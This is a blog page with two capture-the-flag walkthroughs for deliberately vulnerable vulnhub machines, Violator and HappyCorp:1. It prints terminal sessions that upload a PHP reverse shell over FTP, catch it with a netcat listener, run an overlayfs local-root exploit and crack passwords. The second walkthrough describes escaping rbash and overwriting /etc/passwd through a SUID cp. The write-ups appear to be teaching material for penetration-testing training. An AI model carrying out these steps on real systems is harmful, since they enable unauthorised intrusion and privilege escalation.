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OSCP / Violator Walkthrough

Written By AKADEMY on Sunday, January 10, 2021 | 9:21 AM

 Today I’m ready to publish my first walkthrough against the vm hosted on vulnhub called Violator by knightmare.

Starting with this, we can find a few notes on vulnhub’s page’s description from Knightmare.

Those are the informations:

  • Vince Clarke can help you with the Fast Fashion.
  • The challenge isn’t over with root. The flag is something special.
  • I have put a few trolls in, but only to sport with you.

We need to find the vm’s ip, so I used netdiscover: Net Discover

Then, as always, I used nmap to discover its open ports: IP Scanning

The scanning result reveals that the Proftpd 1.3.5rc3 runs on port 21 and Apache httpd 2.4.7 runs on port 80.

I browsed into HTTP server and I saw this: Webserver

I found a link for the Violator album’s Wikipedia page by the Depeche Mode in webpage’s source code. The web server didn’t have anything else of interest.

Now we can browse through exploit-db and find out if services are exploitable or we have to use searchsploit. I found out that the FTP server is exploitable: Searchsploit

Ok! Now this is interesting because we can use the mod_copy module to read and write files on system: Ftp Exploit

Copied successfully! I navigated on web browser to see interesting files and I found out four users named dg,mg,af and aw: Passwd File

These usernames are matched with the initials of the Depeche Mode’s members. They are Dave Gahan, Martin Gore, Andy Fletcher, and Alan Wilder.

In /etc/group folder I saw that the user dg is a member of several groups, so let’s try to crack the passwords of these users. I came back to the wikipedia page the one before, and I tried to catch hot words for the creation of wordlist. Initially I used cewl, for extracting all words from the website and then I used tr and sed commands to create all possible combinations. At the end I launched hydra for cracking the passwords of all users: Password Cracking

With big surprise I found all users’ passwords- yup!! :smiley: At this point I connected with dg user and then I uploaded /usr/share/webshells/php/php-reverse-shell.php reverse shell. I updated $ip var in php shell and I launched netcat listener. I spawned bash shell with python, and I logged with dg user. I tried to elevate with sudo command but unsuccessfully.

root@kali:~/Scrivania/reports/violator# cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html
root@kali:~/Scrivania/reports/violator# ftp
Connected to
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:]
Name ( dg
331 Password required for dg
230 User dg logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put /var/www/html/php-reverse-shell.php 
local: /var/www/html/php-reverse-shell.php remote: /var/www/html/php-reverse-shell.php
200 PORT command successful
150 Opening BINARY mode data connection for /var/www/html/php-reverse-shell.php
226 Transfer complete
5495 bytes sent in 0.00 secs (16.9046 MB/s)
ftp> exit
421 No transfer timeout (600 seconds): closing control connection
root@kali:~/Scrivania/reports/violator# nc -nlvp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 41839
Linux violator 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 17:12:02 up  4:21,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@violator:/$ su dg
su dg
Password: policyoftruth

dg@violator:/$ sudo -l
sudo -l
Matching Defaults entries for dg on violator:
    env_reset, mail_badpass,

User dg may run the following commands on violator:
    (ALL) NOPASSWD: /home/dg/bd/sbin/proftpd

With sudo command I saw the proftpd’s executable into /home/dg/bd/sbin folder but I decided to come back later on this folder. Navigating into another directories, look what I’ve just found new interesting files!

dg@violator:/home/dg$ ls -l bd
ls -l
total 32
drwxr-xr-x 2 root root 4096 Jun  6  2016 bin
drwxr-xr-x 2 root root 4096 Jun  6  2016 etc
drwxr-xr-x 3 root root 4096 Jun  6  2016 include
drwxr-xr-x 4 root root 4096 Jun  6  2016 lib
drwxr-xr-x 2 root root 4096 Jun  6  2016 libexec
drwxr-xr-x 2 root root 4096 Jun  6  2016 sbin
drwxr-xr-x 4 root root 4096 Jun  6  2016 share
drwxr-xr-x 2 root root 4096 May  1 17:13 var
dg@violator:/home$ ls -l mg
ls -l mg
total 4
-rw-rw-r-- 1 mg mg 112 Jun 12 09:28 faith_and_devotion
dg@violator:/home$ ls -l aw
ls -l aw
total 4
-rw-rw-r-- 1 aw aw 59 Jun 12 09:19 hint
dg@violator:/home$ ls -l af
ls -l af
total 20
drwxr-xr-x 2 af af  4096 Jun 11  2016 minarke-1.21
-rw-rw-r-- 1 af af 15576 Jun 11  2016 minarke-1.21.tar.bz2

In mg’s home directory, as you can see, we find “faith_and_devotion” file:


* Use Wermacht with 3 rotors
* Reflector to B
Initial: A B C
Alphabet Ring: C B A
Plug Board A-B, C-D

In aw’s home directory we find “hint” file:

You are getting close... Can you crack the final enigma..?

In af’s home directory we find “minarke-1.21” tar.bz2 and its extraction. Minarke is an Enigma M4 emulator and because I’ve already thought that the faith_and_devotion istructions could be used to decrypt anything, I’ve downloaded all these files.

I came back in /home/dg/bd/sbin folder, I tried to launch proftpd with sudo command and it seemed that it binded on port 2121 on I telneted to 2121 and I found proftpd version 1.3.3c:

dg@violator:/home/bd/sbin$ sudo ./proftpd
sudo ./proftpd
 - setting default address to
localhost - SocketBindTight in effect, ignoring DefaultServer
dg@violator:/home/bd/sbin$ netstat -antp
netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0*               LISTEN      -
tcp        0      0      CLOSE_WAIT  -
tcp        0      0      ESTABLISHED 1396/bash
tcp6       0      0 :::21                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       1      0     CLOSE_WAIT  -
tcp6       0      0     FIN_WAIT2   -
tcp6       0      0     ESTABLISHED -
dg@violator:/home/bd/sbin$ telnet 2121
telnet 2121
Connected to
Escape character is '^]'.
220 ProFTPD 1.3.3c Server (Depeche Mode Violator Server) []
421 Login timeout (300 seconds): closing control connection
Connection closed by foreign host.
dg@violator:/home/bd/sbin$ uname -a
uname -a
Linux violator 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

I launched uname command to view the current kernel and then I browsed into exploit-db.com and I found overlayfs local2root exploit. I uploaded the overlayfail.c in /tmp folder, I compiled it and I launched a.out and BOOOM! I’m the Root! Then I navigated into the Root folder and I found flag.txt and crocs.rar files:

dg@violator:/tmp$ gcc overlayfail.c
gcc overlayfail.c
dg@violator:/tmp$ ls -l
ls -l
total 20
-rwxrwxr-x 1 dg dg 13567 May  1 17:37 a.out
-rw-r--r-- 1 dg dg  2704 May  1 17:37 overlayfail.c
dg@violator:/tmp$ ./a.out
root@violator:/tmp# cd /root
cd /root
root@violator:/root# ls -la
ls -la
total 24
drwx------  3 root root 4096 Jun 14  2016 .
drwxr-xr-x 22 root root 4096 Jun 14  2016 ..
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
d--x------  2 root root 4096 Jun 14  2016 .basildon
-rw-r--r--  1 root root  114 Jun 12  2016 flag.txt
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
root@violator:/root# cat flag.txt
cat flag.txt
I say... I say... I say boy! Pumping for oil or something...?
---Foghorn Leghorn "A Broken Leghorn" 1950 (C) W.B.
root@violator:/root# cd .basildon
cd .basildon
root@violator:/root/.basildon# ls -l
ls -l
total 140
-rw-r--r-- 1 root root 140355 Jun 12  2016 crocs.rar

I went back to my local machine and I could see the contents of crocs.rar archive but it was protected by a password. I used rar2john to get the password hash. Then I tried to crack with the wordlist created before:

root@kali:~/Scrivania/reports/violator# rar2john crocs.rar > password.hashes
file name: artwork.jpg
root@kali:~/Scrivania/reports/violator# john password.hashes --wordlist pass.txt
Warning: only loading hashes of type "rar", but also saw type "descrypt"
Use the "--format=descrypt" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 AES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:47 DONE (2017-02-11 23:01) 0g/s 74.90p/s 74.90c/s 74.90C/s World in My Eyes
Session completed

Our artwork.jpg is, of course, the Violator album cover! Does the image perhaps contain a hidden message? Artwork

At this time I tried to use exiftool and it revealed a very suspicious Copyright and Rights message:

root@kali:~/Scrivania/reports/violator# exiftool -t artwork.jpg 
ExifTool Version Number	10.40
File Name	artwork.jpg
Directory	.
File Size	183 kB
File Modification Date/Time	2016:06:12 14:38:12+02:00
File Access Date/Time	2017:05:03 00:11:08+02:00
File Inode Change Date/Time	2017:02:11 23:11:08+02:00
File Permissions	rw-r--r--
File Type	JPEG
File Type Extension	jpg
MIME Type	image/jpeg
JFIF Version	1.01
Resolution Unit	inches
X Resolution	300
Y Resolution	300
Exif Byte Order	Big-endian (Motorola, MM)
Image Description	Violator
Software	Google
Artist	Dave Gaham
Exif Version	0220
Date/Time Original	1990:03:19 22:13:30
Create Date	1990:03:19 22:13:30
Sub Sec Time Original	04
Sub Sec Time Digitized	04
Exif Image Width	1450
Exif Image Height	1450
XP Title	Violator
XP Author	Dave Gaham
XP Keywords	created by user dg
XP Subject	policyoftruth
Padding	(Binary data 1590 bytes, use -b option to extract)
About	uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Creator	Dave Gaham
Subject	created by user dg
Title	Violator
Description	Violator
Warning	[minor] Fixed incorrect URI for xmlns:MicrosoftPhoto
Date Acquired	1941:05:09 10:30:18.134
Last Keyword XMP	created by user dg
Image Width	1450
Image Height	1450
Encoding Process	Baseline DCT, Huffman coding
Bits Per Sample	8
Color Components	3
Y Cb Cr Sub Sampling	YCbCr4:2:0 (2 2)
Image Size	1450x1450
Megapixels	2.1
Create Date	1990:03:19 22:13:30.04
Date/Time Original	1990:03:19 22:13:30.04

At this point I tried to use the minarke previously found but I wasn’t be able to make it work, so I googled and I found this site for decrypting enigmas and I used the faith_and_devotion instructions. The final message after decoding looks like this:


Awesome! :smiley: Knightmare mentioned in this tweet that the final message should be BGH 393X and I think that it is the license plate of a 1981 Ford Corina MkV showed in the Depeche Mode - Useless video.

CEH Master / Happycorp:1 Vulnhub Walkthrough

iLab rất tổng quát trãi dài trên các module từ 2 - 6 CEH v11

This is another post on vulnhub CTF “named as “HAPPYCORP:1” by Zayotic. It is designed for VMware platform, and it is a boot to root challenge where you have to find flags to finish the task assigned by the author.

You can download it from here: https://www.vulnhub.com/entry/happycorp-1,296/

Penetrating Methodologies


  • Netdiscover
  • Nmap


  • NFS-Share
  • Mount share directory
  • Obtain user.txt -1st flag
  • Obtain SSH key
  • Cracked SSH passphrase (john the ripper)


  • Login to SSH
  • Break jail (rbash shell)

Privilege Escalation

  • Abusing SUID Binary
  • Obtain flag.txt-2nd flag



Let’s start with network scanning to identify the IP of VM with the help of netdiscover.

So, we have our target IP Now, let’s scan the services and ports via nmap.

We have obtained the fruitful result from the nmap scan, as you can observe so many services are running on the various port. Such as 22: SSH, 80: HTTP and so on.


As we always navigate with HTTP services first, therefore we browse as the URL but found nothing interesting.

We found that network share service was also available on port 2049, so we thought to check shared directory in the network. We have therefore installed NFS-client on our local machine and have a command to identify the shared directory available to mount on our local computer.

we found /home/karl is a shared directory that we can mount in our local machine as given below:

As I mount /home/karl in our /tmp/raj directory but I didn’t find anything here, truthfully when I try to open .ssh directory, it gave permission denied error.

Therefore, I add a user “aaru” in the group that has GID of 1001 on my Kali machine and successfully access the .ssh folder as shown in below steps (Same as the approach was used in Lin-Security).

Then access our 1st flag i.e. user.txt and moreover copies the id_rsa key in our local machine by executing following command:

Further, I explored id _rsa.pub and authorized key where I noticed Karl@happycorp and realized that Karl could be the possible username for ssh login. Therefore, I used the id_rsa key for login into ssh as karl but failed to login into it, as it required a passphrase for the key.

Then we have used ssh2john to convert this SSH key into a crackable file for John the ripper and further used the rockyou.txt wordlist for johntheripper.

After obtaining the passphrase “sheep” we changed the permission of RSA key and login as karl but unfortunately, we got access of restricted shell also known rbash as a shell.

Therefore, I tried to access the bash shell directly through ssh by simply typing the following:

Luckily it works and we have successfully access the proper shell.

Privilege Escalation

Now it’s time to escalate the root privilege and finish this task, therefore with help of find command I look for SUID enabled binaries, where I found SUID bit, is enabled for copy binary (/bin/cp).

Hmm!! if suid bit is enabled on /bin/cp then we can copy any system file of root level or can overwrite the existing file.   First, I have explored the /etc /passwd file where karl was end user as shown in the below image and our vision is to edit this file by adding a new user.

On other hands, we have generated a new encrypted password: pass123 using OpenSSL passwd

So, we have copied the whole content of /etc/passwd file in a text editor and then create a new record for user “ignite that owns root level permissions. Saved this file as passwd and further used python server for transferring it into victim’s machine.

Inside /tmp folder, we have downloaded our passwd file and with the help of copy command, we have replaced the original /etc/passwd from our file as shown below.

Author: Aarti Singh 

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